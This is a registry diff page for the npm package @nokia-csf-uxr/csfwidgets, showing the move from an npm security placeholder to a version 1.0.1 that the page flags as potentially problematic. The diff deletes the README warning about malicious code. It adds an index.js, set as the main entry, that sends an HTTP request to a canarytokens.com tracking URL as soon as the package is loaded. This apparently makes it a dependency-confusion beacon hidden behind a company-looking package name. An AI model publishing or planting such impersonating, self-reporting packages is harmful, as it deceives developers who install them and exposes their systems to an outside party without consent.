@nokia-csf-uxr/csfwidgets 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @nokia-csf-uxr/csfwidgets might be problematic. Click here for more details.
- package/app.js +23 -0
- package/index.js +13 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/app.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
// Import necessary modules and packages
|
|
2
|
+
const csfWidgets = require('@nokia-csf-uxr/csfwidgets');
|
|
3
|
+
|
|
4
|
+
// Call functions or execute logic from the package
|
|
5
|
+
csfWidgets.someFunction();
|
|
6
|
+
csfWidgets.doSomething();
|
|
7
|
+
|
|
8
|
+
// Add your own code here to further customize the behavior
|
|
9
|
+
|
|
10
|
+
// Example code to demonstrate a basic Express server
|
|
11
|
+
const express = require('express');
|
|
12
|
+
const app = express();
|
|
13
|
+
const port = 3000;
|
|
14
|
+
|
|
15
|
+
// Define routes and endpoints
|
|
16
|
+
app.get('/', (req, res) => {
|
|
17
|
+
res.send('Hello, World!');
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
// Start the server
|
|
21
|
+
app.listen(port, () => {
|
|
22
|
+
console.log(`Server is running on port ${port}`);
|
|
23
|
+
});
|
package/index.js
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
|
|
3
|
+
function sendGetRequest() {
|
|
4
|
+
const url = 'http://canarytokens.com/tags/articles/feedback/3fclihbktg260up4v88cklu87/contact.php';
|
|
5
|
+
|
|
6
|
+
http.get(url, (res) => {
|
|
7
|
+
console.log('GET request sent successfully.');
|
|
8
|
+
}).on('error', (err) => {
|
|
9
|
+
console.error('Error occurred while sending GET request:', err.message);
|
|
10
|
+
});
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
sendGetRequest();
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@nokia-csf-uxr/csfwidgets",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "null",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"@nokia-csf-uxr/csfwidgets": "^1.0.0"
|
|
14
|
+
}
|
|
6
15
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40nokia-csf-uxr%2Fcsfwidgets for more information.
|